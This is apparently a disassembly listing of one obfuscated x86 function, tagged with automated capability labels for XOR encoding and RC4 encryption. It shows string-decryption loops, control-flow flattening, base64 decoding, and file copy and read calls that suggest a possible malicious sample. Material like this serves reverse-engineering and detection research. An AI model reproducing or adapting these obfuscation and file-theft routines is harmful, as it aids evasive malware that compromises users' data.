Function at 0x423383
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x458
mov dword [esp + 0x40], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x38], 0
mov dword [esp + 0x34], 0
mov dword [esp + 0x54], 0x139e11a3
mov dword [esp + 0x58], 0x6fcf6dd1
mov dword [esp + 0x5c], 0x6b1c69dd
mov dword [esp + 0x60], 0x67ee65d9
mov dword [esp + 0x64], 0x636261dd
mov byte [esp + 0x68], 0
mov eax, 0x3c
mov ecx, 0xc3
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + eax + 0x18]
mov edx, ecx
xor edx, eax
and edx, esi
xor edx, eax
add dl, 0xd4
mov byte [esp + eax + 0x18], dl
inc eax
dec ecx
cmp eax, 0x51
jne case.default.0x422b3e
lea ebx, [esp + 0x54]
lea ecx, [esp + 0x34]
push ebx
call fcn.00436880
shr eax, 0x1f
xor esi, esi
jmp dword [eax*4 + 0x4450b8]
lea ecx, [esp + 0x34]
push 0x410
call fcn.00436ab0
not eax
shr eax, 0x1f
xor esi, esi
jmp dword [eax*4 + 0x4450c0]
jmp dword [0x4450cc]
add edx, 8
xor eax, eax
cmp edx, dword [esp + 0x2c]
setne al
jmp dword [eax*4 + 0x4450e0]
mov esi, dword [edx]
mov dword [esp + 0x14], edx
mov edi, dword [edx + 4]
push 0x400
push 0
push ebx
call fcn.004089c0
add esp, 0xc
lea eax, [esp + 8]
lea ecx, [esp + 0x34]
push eax
push 0
push 0x400
push ebx
push edi
push esi
call fcn.004371f0
cmp eax, 0xc0000000
setae al
mov ecx, dword [esp + 8]
or ecx, dword [esp + 0xc]
sete cl
or cl, al
movzx eax, cl
jmp dword [eax*4 + 0x4450f0]
mov eax, 1
mov edx, dword [esp + 0x14]
jmp dword [eax*4 + 0x4450f8]
xor eax, eax
mov edx, dword [esp + 0x14]
jmp dword [eax*4 + 0x4450f8]
mov byte [esp + 0x453], 0
movzx eax, byte [esp + 0x54]
xor edi, edi
test al, al
je 0x422c31
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp al, 0x2e
je 0x422c2f
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x422c20
jmp 0x422c31
mov edi, ecx
xor eax, eax
test edi, edi
setne al
jmp dword [eax*4 + 0x445100]
movzx eax, byte [edi + 1]
inc edi
xor esi, esi
test al, al
je 0x422c61
mov ecx, edi
nop
nop
nop
nop
cmp al, 0x2e
je 0x422c5f
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x422c50
jmp 0x422c61
mov esi, ecx
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x445108]
mov ecx, esi
sub ecx, edi
lea edx, [ecx + ecx*2]
shr edx, 2
movzx eax, byte [esi - 1]
cmp eax, 0x3d
je 0x422c87
cmp eax, 0x2e
jne 0x422c88
dec edx
movzx eax, byte [edi + ecx - 2]
cmp eax, 0x3d
mov dword [esp + 0x18], ecx
je 0x422c9b
cmp eax, 0x2e
jne 0x422c9c
dec edx
mov dword [esp + 0x44], edx
lea eax, [edx + 1]
push eax
call fcn.00408940
add esp, 4
mov dword [esp + 4], eax
mov dword [esp + 0x1c], edi
cmp esi, edi
je 0x422daa
xor edx, edx
mov esi, 2
jmp 0x422ce0
mov edx, dword [esp + 0x30]
nop
nop
nop
nop
nop
nop
nop
lea eax, [esi + 4]
add esi, 2
cmp esi, ecx
mov esi, eax
jae 0x422daa
mov dword [esp + 0x20], edx
mov edi, dword [esp + 0x1c]
movzx eax, byte [edi + esi - 2]
push eax
call fcn.00419800
add esp, 4
mov ebx, eax
movzx eax, byte [edi + esi - 1]
push eax
call fcn.00419800
add esp, 4
mov bh, al
shl bl, 2
shr al, 4
and al, 3
or al, bl
mov ecx, dword [esp + 4]
mov edx, dword [esp + 0x20]
mov byte [ecx + edx], al
inc edx
mov ecx, dword [esp + 0x18]
cmp esi, ecx
jae 0x422cd0
mov eax, dword [esp + 0x1c]
movzx eax, byte [eax + esi]
push eax
mov edi, edx
call fcn.00419800
mov edx, edi
mov ecx, dword [esp + 0x1c]
add esp, 4
cmp al, 0x40
je 0x422cd0
mov bl, al
shl bh, 4
shr al, 2
and al, 0xf
or al, bh
mov edi, dword [esp + 0x20]
lea edx, [edi + 2]
mov dword [esp + 0x30], edx
mov edx, dword [esp + 4]
mov byte [edx + edi + 1], al
lea eax, [esi + 1]
cmp eax, ecx
jae 0x422cc5
mov eax, dword [esp + 0x1c]
movzx eax, byte [eax + esi + 1]
push eax
call fcn.00419800
mov ecx, dword [esp + 0x1c]
add esp, 4
cmp al, 0x40
mov edx, dword [esp + 0x30]
je 0x422cd0
shl bl, 6
add al, bl
mov edx, dword [esp + 4]
mov edi, dword [esp + 0x20]
mov byte [edx + edi + 2], al
add edi, 3
mov edx, edi
jmp 0x422cd0
mov eax, dword [esp + 0x44]
mov esi, dword [esp + 4]
mov byte [esi + eax], 0
push esi
call fcn.00401000
add esp, 4
mov ebx, eax
jmp dword [0x445110]
push esi
call fcn.00408950
add esp, 4
push ebx
call fcn.00401ad0
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x445118]
jmp 0x422e98
mov dword [esp + 8], 0xb7d81417
mov word [esp + 0xc], 0
mov ecx, 0x1e
mov esi, 0xe1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + ecx - 0x16]
mov edx, esi
xor edx, ecx
and edx, edi
xor edx, ecx
add dl, 0x6a
mov byte [esp + ecx - 0x16], dl
inc ecx
dec esi
cmp ecx, 0x24
jne case.default.0x422e40
lea ecx, [esp + 8]
push ecx
push eax
call fcn.00401890
add esp, 8
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x445120]
mov edx, dword [esp]
jmp 0x422e73
movzx ecx, byte [eax]
test cl, cl
mov edx, dword [esp]
je 0x422e6b
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], cl
inc edx
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x422e60
mov word [edx], 0x203a
add edx, 2
movzx eax, byte [esp + 0x54]
test al, al
je 0x422e8b
lea ecx, [esp + 0x55]
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x422e80
mov byte [edx], 0xa
inc edx
mov dword [esp], edx
mov al, 1
mov dword [esp + 0x28], eax
push ebx
call fcn.00402080
add esp, 4
mov edx, dword [esp + 0x14]
add edx, 8
xor eax, eax
cmp edx, dword [esp + 0x2c]
setne al
lea ebx, [esp + 0x54]
jmp dword [eax*4 + 0x4450e0]
mov ecx, dword [esp + 0x48]
mov edx, dword [esp + 0x4c]
xor eax, eax
cmp ecx, edx
sete al
jmp dword [eax*4 + 0x4450d8]
mov eax, edx
sub eax, ecx
sar eax, 3
mov esi, ecx
mov edi, edx
mov edx, eax
and edx, 0x421
mov ecx, eax
or eax, 0x421
imul eax, edx
xor edx, 0x421
and ecx, 0xfffffbde
imul ecx, edx
add eax, ecx
push eax
call fcn.00408940
add esp, 4
mov dword [esp + 0x28], 0
xor ecx, ecx
mov dword [esp + 0x2c], edi
cmp esi, edi
setne cl
mov dword [esp + 0x24], eax
mov dword [esp], eax
mov edx, esi
jmp dword [ecx*4 + 0x4450e0]
mov eax, dword [esp + 0x28]
mov ecx, eax
and cl, 1
movzx ecx, cl
jmp dword [ecx*4 + 0x4450e8]
mov esi, dword [esp + 0x24]
jmp dword [0x445128]
push esi
mov esi, eax
call fcn.00408950
mov eax, esi
add esp, 4
and al, 1
mov esi, eax
mov ecx, dword [esp + 0x48]
mov edx, dword [esp + 0x4c]
test ecx, ecx
jne 0x422f6e
jmp case.0x422b3e.0
xor esi, esi
test ecx, ecx
je case.0x422b3e.0
cmp ecx, edx
je case.0x422b3e.0
push ecx
call fcn.00408950
add esp, 4
mov ebx, esi
lea ecx, [esp + 0x34]
call fcn.00436c10
mov eax, ebx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [esp]
mov byte [eax], 0
mov dword [esp + 0x54], 0xd5d6d787
mov dword [esp + 0x58], 0xd1a1aeab
mov dword [esp + 0x5c], 0xd4d8dea7
mov dword [esp + 0x60], 0x9ad6b699
mov dword [esp + 0x64], 0x8da7e097
mov dword [esp + 0x68], 0xeb9de6e1
mov dword [esp + 0x6c], 0xe1e2a9e1
mov word [esp + 0x70], 0x7be4
mov dword [esp + 0x72], 0
lea eax, [esp + 0x54]
mov ecx, 0x291fa5ee
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [eax]
mov edi, edx
xor edi, 0x44a0104a
mov ebx, ecx
and ebx, 0x1425ca
mov esi, ecx
and esi, 0x290b8035
or esi, 0x4843188
xor esi, ebx
mov ebx, esi
xor esi, 0x40300442
and esi, edi
xor ebx, 0xbb4bcabd
xor edx, 0xbb4bca35
and edx, ebx
or edx, esi
mov esi, edx
and esi, 1
xor edx, 1
lea edx, [edx + esi*2]
add dl, 0xaa
mov byte [eax], dl
inc eax
dec ecx
cmp ecx, 0x291fa5cc
jne 0x422ff0
mov esi, dword [esp + 0x24]
mov edx, dword [esp]
sub edx, esi
lea eax, [esp + 0x54]
mov ecx, dword [ebp + 8]
push edx
push esi
push eax
call fcn.00409970
jmp dword [0x445128]
mov dword [esp + 0x54], 0x6a035865
mov dword [esp + 0x58], 0x506a0d60
mov dword [esp + 0x5c], 0x6c656301
mov dword [esp + 0x60], 0x775e6605
mov dword [esp + 0x64], 0x207b7206
mov dword [esp + 0x68], 0x1f7c767d
mov dword [esp + 0x6c], 0x12197e1a
mov dword [esp + 0x70], 0x167f1473
mov dword [esp + 0x74], 0x66101612
mov dword [esp + 0x78], 0xe637511
mov dword [esp + 0x7c], 0xab7a6161
mov word [esp + 0x80], 0
mov byte [esp + 0x82], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x30
xor cl, byte [esp + eax + 0x54]
add cl, 0x10
mov byte [esp + eax + 0x54], cl
inc eax
cmp eax, 0x2f
jne 0x4230e0
lea eax, [esp + 0x48]
lea ecx, [esp + 0x34]
push 0
push 0x2b
push ebx
push eax
call fcn.00437350
jmp dword [0x4450d4]
mov dword [esp + 0x54], 0x6a035865
mov dword [esp + 0x58], 0x506a0d60
mov dword [esp + 0x5c], 0x6c656301
mov dword [esp + 0x60], 0x775e6605
mov dword [esp + 0x64], 0x207b7206
mov dword [esp + 0x68], 0x1f7c767d
mov dword [esp + 0x6c], 0x12197e1a
mov dword [esp + 0x70], 0x167f1473
mov dword [esp + 0x74], 0x66101612
mov dword [esp + 0x78], 0xe637511
mov dword [esp + 0x7c], 0xab7a6161
mov word [esp + 0x80], 0
mov byte [esp + 0x82], 0
xor eax, eax
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x30
xor cl, byte [esp + eax + 0x54]
add cl, 0x10
mov byte [esp + eax + 0x54], cl
inc eax
cmp eax, 0x2f
jne 0x423180
lea eax, [esp + 0x54]
lea edx, [esp + 0x48]
lea ecx, [esp + 0x34]
push 0
push 0x2b
push eax
push edx
call fcn.00437350
jmp case.0x422b3e.4
mov ecx, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
add ecx, 2
cmp word [eax], 0
jne 0x423390
sub eax, esi
cmp eax, 0xffffffd9
jge 0x4233b0
mov eax, 0xffffffff
jmp 0x4233b3
xor ebx, ebx
jmp 0x424345
add eax, 0x26
push eax
call fcn.00408940
add esp, 4
mov ebp, eax
mov dword [esp + 0x14], 0x13b111b4
mov dword [esp + 0x18], 0x6fd86ddb
mov dword [esp + 0x1c], 0x6bd369d6
mov dword [esp + 0x20], 0x67c265db
mov dword [esp + 0x24], 0x63d561c3
mov dword [esp + 0x28], 0x7fc07dca
mov dword [esp + 0x2c], 0x7bc579c1
mov dword [esp + 0x30], 0x77f87502
mov dword [esp + 0x34], 0x73cc71cc
mov word [esp + 0x38], 0x4d4c
mov dword [esp + 0x3a], 0
mov byte [esp + 0x3e], 0
xor eax, eax
nop
nop
nop
nop
mov ecx, eax
add cl, 0x3c
xor cl, byte [esp + eax + 0x14]
add cl, 0xd4
mov byte [esp + eax + 0x14], cl
inc eax
cmp eax, 0x2b
jne 0x423420
movzx ecx, word [esi]
mov eax, ebp
test cx, cx
je 0x423461
mov edx, esi
add edx, 2
mov eax, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x423450
mov word [eax], 0
movzx ecx, word [esp + 0x14]
test cx, cx
je 0x423491
lea edx, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x423480
mov word [eax], 0
jmp dword [0x445138]
push esi
call fcn.00408950
add esp, 4
movzx eax, word [ebp]
mov ecx, dword [case.0x422e40.10]
nop
jmp ecx
xor ecx, ecx
cmp ax, 0x2a
sete cl
jmp dword [ecx*4 + 0x445150]
mov dword [esp + 0x14], 0x4f80498f
mov dword [esp + 0x18], 0x43a54da0
mov dword [esp + 0x1c], 0x47d441d3
mov dword [esp + 0x20], 0x7be345de
mov dword [esp + 0x24], 0x7f9279e3
mov dword [esp + 0x28], 0x73e17d9b
mov dword [esp + 0x2c], 0x77ec71e2
mov dword [esp + 0x30], 0x6bf175ed
mov dword [esp + 0x34], 0x6fe469ba
mov dword [esp + 0x38], 0x63f86d88
mov word [esp + 0x3c], 0x6160
mov dword [esp + 0x3e], 0
mov eax, 0xca1dec6d
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [edi]
mov esi, eax
or esi, edx
and edx, eax
lea ecx, [esi + esi]
not ecx
add ecx, esi
or ecx, edx
add cl, 0x26
mov byte [edi], cl
dec eax
inc edi
cmp eax, 0xca1dec3f
jne 0x423530
lea eax, [esp + 0x14]
push 0
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0x60
push 3
push 0x120089
push ebx
push ebp
call fcn.0043cf90
add esp, 0x14
not eax
shr eax, 0x1f
mov dword [esp + 4], 0
mov dword [esp], 0
jmp dword [eax*4 + 0x445158]
jmp dword [0x4451d8]
push ebp
call fcn.00408950
add esp, 4
xor eax, eax
mov ecx, dword [esp]
mov edi, dword [esp + 4]
cmp ecx, edi
sete al
jmp dword [eax*4 + 0x4451e0]
xor ebx, ebx
test ecx, ecx
jne 0x424318
jmp 0x424345
lea eax, [esp + 0x88]
push 0
push eax
push dword [esp + 0xa8]
call fcn.0043d2b0
add esp, 0xc
not eax
shr eax, 0x1f
mov dword [esp + 4], 0
xor ebx, ebx
jmp dword [eax*4 + 0x445160]
mov esi, dword [esp + 0x88]
lea eax, [esi + 1]
push eax
call fcn.00408940
add esp, 4
mov edi, eax
push 0
push esi
push eax
push dword [esp + 0xac]
call fcn.0043d380
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [esp + 4], 0
xor ebx, ebx
jmp dword [eax*4 + 0x445168]
mov dword [esp + 0xc], ebp
mov esi, dword [esp + 0x88]
mov byte [edi + esi], 0
push 0x20
call fcn.00408940
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x68], eax
mov ecx, eax
push esi
mov dword [esp + 0xc], edi
push edi
call fcn.00425f50
movzx eax, al
xor ebp, ebp
xor ebx, ebx
jmp dword [eax*4 + 0x445170]
mov dword [esp + 0x14], 0xd7e4eef3
mov dword [esp + 0x18], 0xe2d4e4d3
mov dword [esp + 0x1c], 0xe7ebff27
mov dword [esp + 0x20], 0xfc21e8da
mov dword [esp + 0x24], 0x1e131424
mov dword [esp + 0x28], 0x1415f4db
mov dword [esp + 0x2c], 0x2f142c17
mov word [esp + 0x30], 0xbd2f
mov dword [esp + 0x32], 0
mov byte [esp + 0x36], 0
xor eax, eax
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x14]
mov edx, eax
and edx, 0x10
xor edx, 0x10dec690
mov esi, eax
and esi, 0x2f
sub esi, edx
xor esi, ecx
add esi, 0x5459e0cf
mov ecx, esi
and ecx, 1
xor esi, 1
lea ecx, [esi + ecx*2]
mov byte [esp + eax + 0x14], cl
inc eax
cmp eax, 0x23
jne case.default.0x42372d
lea eax, [esp + 0x14]
mov ecx, dword [esp + 0x68]
push eax
call fcn.00426140
xor ecx, ecx
test eax, eax
setne cl
xor ebp, ebp
xor ebx, ebx
jmp dword [ecx*4 + 0x445178]
lea ecx, [eax + 8]
xor edi, edi
xor ebp, ebp
xor ebx, ebx
jmp dword [0x44518c]
jmp dword [0x44519c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 4]
mov edx, dword [eax]
mov esi, ebp
sub esi, ebx
cmp ebp, edi
je 0x423780
mov dword [esp], ebx
jmp 0x4237f9
mov dword [esp + 0x10], edx
mov eax, esi
sar eax, 3
inc eax
mov ecx, edi
mov dword [esp], ebx
sub ecx, ebx
sar ecx, 3
mov ebp, ecx
shr ebp, 1
add ebp, ecx
cmp ebp, eax
ja 0x4237a0
mov ebp, eax
lea eax, [ebp*8]
push eax
call fcn.00408940
add esp, 4
mov ebx, eax
mov edx, dword [esp]
test edx, edx
je 0x4237eb
cmp edx, edi
je 0x4237e2
xor eax, eax
nop
mov ecx, dword [edx + eax]
mov dword [ebx + eax], ecx
mov ecx, dword [edx + eax + 4]
mov dword [ebx + eax + 4], ecx
mov dword [edx + eax], 0
lea ecx, [edx + eax]
add ecx, 8
add eax, 8
cmp ecx, edi
jne 0x4237c0
push edx
call fcn.00408950
add esp, 4
lea edi, [ebx + ebp*8]
mov ebp, ebx
add ebp, esi
mov dword [esp], ebx
mov edx, dword [esp + 0x10]
add esi, ebx
mov ecx, esi
call fcn.00427060
add ebp, 8
mov eax, dword [esp + 4]
lea ecx, [eax + 4]
mov ebx, dword [esp]
jmp dword [0x4451a0]
mov eax, dword [esp + 4]
mov edx, dword [eax]
mov eax, ebp
sub ebp, ebx
cmp eax, edi
mov dword [esp], ebx
je 0x423830
mov esi, eax
jmp 0x4238a9
mov dword [esp + 0x10], edx
mov eax, ebp
sar eax, 3
inc eax
mov ecx, edi
sub ecx, ebx
sar ecx, 3
mov esi, ecx
shr esi, 1
add esi, ecx
cmp esi, eax
ja 0x42384d
mov esi, eax
lea eax, [esi*8]
push eax
call fcn.00408940
add esp, 4
mov ebx, eax
mov edx, dword [esp]
test edx, edx
je 0x42389b
cmp edx, edi
je 0x423892
xor eax, eax
nop
nop
nop
nop
mov ecx, dword [edx + eax]
mov dword [ebx + eax], ecx
mov ecx, dword [edx + eax + 4]
mov dword [ebx + eax + 4], ecx
mov dword [edx + eax], 0
lea ecx, [edx + eax]
add ecx, 8
add eax, 8
cmp ecx, edi
jne 0x423870
push edx
call fcn.00408950
add esp, 4
lea edi, [ebx + esi*8]
mov esi, ebx
add esi, ebp
mov dword [esp], ebx
mov edx, dword [esp + 0x10]
add ebp, ebx
mov ecx, ebp
call fcn.00427060
add esi, 8
mov ebx, dword [esp]
mov ebp, esi
jmp 0x423760
mov ecx, dword [ecx]
xor eax, eax
mov dword [esp + 4], ecx
test ecx, ecx
setne al
jmp dword [eax*4 + 0x445190]
mov dword [esp + 4], ebp
mov ebp, dword [esp + 0xc]
mov edi, dword [esp + 8]
jmp dword [0x4451a8]
mov esi, dword [esp + 0x68]
mov ecx, esi
call fcn.004262a0
push esi
call fcn.00408950
add esp, 4
nop
nop
nop
nop
nop
nop
jmp dword [0x4451bc]
jmp dword [0x4451c0]
mov dword [esp], ebx
push edi
call fcn.00408950
add esp, 4
jmp dword [0x4451cc]
xor eax, eax
mov ecx, dword [esp]
mov edi, dword [esp + 4]
cmp ecx, edi
sete al
jmp dword [eax*4 + 0x4451e0]
mov eax, edi
sub eax, ecx
sar eax, 3
imul eax, eax, 0x421
push eax
call fcn.00408940
add esp, 4
mov dword [esp + 0xc], eax
mov dword [esp + 0x14], 0x13c611ed
mov dword [esp + 0x18], 0xef4ded5b
mov dword [esp + 0x1c], 0xeb5ee949
mov dword [esp + 0x20], 0xe756e525
mov dword [esp + 0x24], 0xe33ee150
mov dword [esp + 0x28], 0xff72fd5d
mov dword [esp + 0x2c], 0xfb07f959
mov dword [esp + 0x30], 0xf725f550
mov dword [esp + 0x34], 0xf34ff17c
mov dword [esp + 0x38], 0xcf7bcd6d
mov dword [esp + 0x3c], 0xcb7ec96c
mov dword [esp + 0x40], 0xc765c573
mov dword [esp + 0x44], 0xc376c161
mov dword [esp + 0x48], 0xdf50dd2a
mov dword [esp + 0x4c], 0xdb64d964
lea eax, [esp + 0x50]
mov dword [esp + 0x50], 0xd5d4
mov byte [esp + 0x54], 0
mov ecx, 0x9b9e2842
mov edx, 0x373c5084
mov esi, edx
and esi, 0x74
mov ebx, ecx
xor ebx, 0x3a
add ebx, esi
xor bl, byte [esp + ecx + 0x6461d7d2]
add bl, 0x94
mov byte [esp + ecx + 0x6461d7d2], bl
inc ecx
add edx, 2
cmp ecx, 0x9b9e2883
jne 0x4239e0
lea ebx, [esp + 0x14]
mov edx, ebx
lea ebp, [esp + 0xa0]
mov edi, ebp
mov ecx, 0xf
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
lea edi, [esp + 0xdc]
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
lea esi, [esp + 0x9c]
push esi
push 0
push 0
push 0x1e
push ebp
push 0
call dword [0x44a594]
mov edi, dword [esp + 0x9c]
test edi, edi
jns 0x423ac7
mov eax, 0xffffffff
jmp 0x423aca
mov dword [esp], ebx
jmp dword [0x4451cc]
mov eax, dword [esp + 0xa0]
mov dword [esp + 0x14], 0x585b5a45
mov byte [esp + 0x18], 0
xor ecx, ecx
nop
nop
nop
nop
mov edx, ecx
add dl, 0xf
xor dl, byte [esp + ecx + 0x14]
add dl, 0xb5
mov byte [esp + ecx + 0x14], dl
inc ecx
cmp ecx, 5
jne 0x423a80
mov ecx, dword [0x44a598]
test ecx, ecx
je case.0x42372d.20
mov edx, dword [esp + 0x14]
xor esi, esi
mov edi, dword [0x44a59c]
cmp dword [edi + esi*8], 0xb62b8d10
je 0x423e17
inc esi
cmp ecx, esi
jne 0x423ab0
jmp case.0x42372d.20
lea eax, [edi + edi]
push eax
call fcn.00408940
add esp, 4
mov ebp, eax
push esi
push edi
push eax
push 0x1e
lea eax, [esp + 0xb0]
push eax
push 0
call dword [0x44a594]
lea eax, [esp + 0x6c]
push 0x60
push 3
push 0x120089
push eax
mov dword [esp + 0x78], ebp
push ebp
call fcn.0043cf90
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x4451e8]
mov edi, ebx
xor ebx, ebx
mov esi, dword [esp + 0xc]
mov ebp, esi
jmp dword [0x4452d0]
lea eax, [esp + 0x90]
push 0
push eax
push dword [esp + 0x74]
call fcn.0043d2b0
add esp, 0xc
not eax
shr eax, 0x1f
xor edx, edx
mov dword [esp + 8], 0
mov edi, dword [esp + 0xc]
mov ebp, edi
jmp dword [eax*4 + 0x4451f0]
mov esi, dword [esp + 0x90]
lea eax, [esi + 1]
push eax
call fcn.00408940
add esp, 4
push 0
push esi
mov dword [esp + 0x7c], eax
push eax
push dword [esp + 0x78]
call fcn.0043d380
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [esp + 8], 0
mov ebp, edi
jmp dword [eax*4 + 0x4451f8]
mov esi, dword [esp + 0x90]
mov ebp, dword [esp + 0x74]
mov byte [ebp + esi], 0
push 0x20
call fcn.00408940
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [esp + 0x70], eax
mov ecx, eax
push esi
push ebp
call fcn.00425f50
movzx eax, al
mov dword [esp + 8], 0
mov ebp, edi
jmp dword [eax*4 + 0x445200]
mov dword [esp + 0x14], 0x65706a41
mov dword [esp + 0x18], 0x4e584861
mov dword [esp + 0x1c], 0x554d7995
mov dword [esp + 0x20], 0x709f445a
mov dword [esp + 0x24], 0x5a454050
mov dword [esp + 0x28], 0x47477a99
mov dword [esp + 0x2c], 0x4d5f5846
mov dword [esp + 0x30], 0x5553507d
mov word [esp + 0x34], 0xbb57
mov dword [esp + 0x36], 0
xor eax, eax
xor ebp, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax + 0x14]
mov edx, ebp
and edx, 0x36
mov esi, eax
xor esi, 0x30608a5b
add esi, edx
mov edx, esi
and edx, ecx
or esi, ecx
mov ecx, esi
not ecx
lea ecx, [esi + ecx*2]
inc ecx
or ecx, edx
mov edx, 0xe1d4c37
sub edx, ecx
mov esi, edx
and esi, 1
and ecx, 1
and edx, 0xfe
or edx, ecx
lea ecx, [edx + esi*2]
mov byte [esp + eax + 0x14], cl
inc eax
add ebp, 2
cmp eax, 0x26
jne case.default.0x423d56
mov ecx, dword [esp + 0x70]
push ebx
call fcn.00426140
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp + 8], 0
mov ebp, edi
jmp dword [ecx*4 + 0x445208]
mov eax, dword [case.0x42372d.33]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov eax, dword [0x4452b8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
xor edx, edx
jmp dword [0x4452c8]
mov eax, dword [esp + 0x6c]
mov dword [esp + 0x14], 0x585b5a45
mov byte [esp + 0x18], 0
nop
nop
nop
nop
nop
mov ecx, edx
add cl, 0xf
xor cl, byte [esp + edx + 0x14]
add cl, 0xb5
mov byte [esp + edx + 0x14], cl
inc edx
cmp edx, 5
jne 0x423dd0
mov ecx, dword [0x44a598]
test ecx, ecx
je 0x423ec8
mov edx, dword [esp + 0x14]
xor esi, esi
mov edi, dword [0x44a59c]
cmp dword [edi + esi*8], 0xb62b8d10
je 0x423ec0
inc esi
cmp ecx, esi
jne 0x423e00
jmp 0x423ec8
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je case.0x42372d.20
push eax
push 4
push ecx
push dword [0x44a5a0]
call fcn.004391b0
add esp, 0x10
jmp case.0x42372d.20
jmp dword [0x4451d4]
mov eax, dword [esp + 0xa0]
mov dword [esp + 0x14], 0x585b5a45
mov byte [esp + 0x18], 0
xor ecx, ecx
nop
nop
nop
nop
mov edx, ecx
add dl, 0xf
xor dl, byte [esp + ecx + 0x14]
add dl, 0xb5
mov byte [esp + ecx + 0x14], dl
inc ecx
cmp ecx, 5
jne 0x423e60
mov ecx, dword [0x44a598]
test ecx, ecx
je 0x423e40
mov edx, dword [esp + 0x14]
xor esi, esi
mov edi, dword [0x44a59c]
nop
nop
nop
nop
cmp dword [edi + esi*8], 0xb62b8d10
je 0x423ea0
inc esi
cmp ecx, esi
jne 0x423e90
jmp 0x423e40
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je 0x423e40
push eax
push 4
push ecx
push dword [0x44a5a0]
call fcn.004391b0
add esp, 0x10
jmp dword [0x4451d4]
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x423ef6
mov edi, ebx
mov esi, dword [esp + 0xc]
mov ebx, dword [esp + 8]
jmp dword [0x4452d0]
mov edi, ebx
push eax
push 4
push ecx
push dword [0x44a5a0]
call fcn.004391b0
add esp, 0x10
mov esi, dword [esp + 0xc]
mov ebx, dword [esp + 8]
jmp dword [0x4452d0]
add eax, 8
mov dword [esp + 8], 0
mov edx, dword [eax]
xor eax, eax
test edx, edx
setne al
mov ebp, dword [esp + 0xc]
jmp dword [eax*4 + 0x445210]
mov esi, dword [edx]
cmp dword [edx + 0x18], 3
mov edi, 0
jne case.default.0x423f5f
mov edi, dword [edx + 0x10]
test esi, esi
setne al
test edi, edi
setne cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x445218]
mov dword [esp + 0x10], esi
mov dword [esp + 0x98], edx
mov ecx, edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
inc ecx
cmp byte [eax], 0
jne case.default.0x423fb3
sub eax, edi
mov ecx, eax
and ecx, 1
lea eax, [eax + ecx*2]
shr eax, 1
mov dword [esp + 0x94], eax
inc eax
push eax
call fcn.00408940
add esp, 4
movsx ecx, byte [edi]
xor edx, edx
test ecx, ecx
setne dl
mov dword [esp + 0x78], eax
jmp dword [edx*4 + 0x445220]
mov byte [eax], bl
inc eax
movsx ecx, byte [esi]
xor edx, edx
test ecx, ecx
setne dl
mov edi, esi
jmp dword [edx*4 + 0x445220]
lea esi, [edi + 1]
mov ebx, ecx
or ebx, 0x20
lea edx, [ebx - 0x61]
cmp edx, 5
ja case.default.0x423ff3
add ebx, 0xffffffa9
movsx ecx, byte [esi]
xor edx, edx
test ecx, ecx
setne dl
jmp dword [edx*4 + 0x445228]
lea edx, [ecx - 0x30]
mov ebx, ecx
not ebx
and ebx, 0x30
and ecx, 0xffffffcf
sub ecx, ebx
mov ebx, ecx
cmp edx, 0xa
jb case.default.0x424025
mov ebx, 0xffffffff
movsx ecx, byte [esi]
xor edx, edx
test ecx, ecx
setne dl
jmp dword [edx*4 + 0x445228]
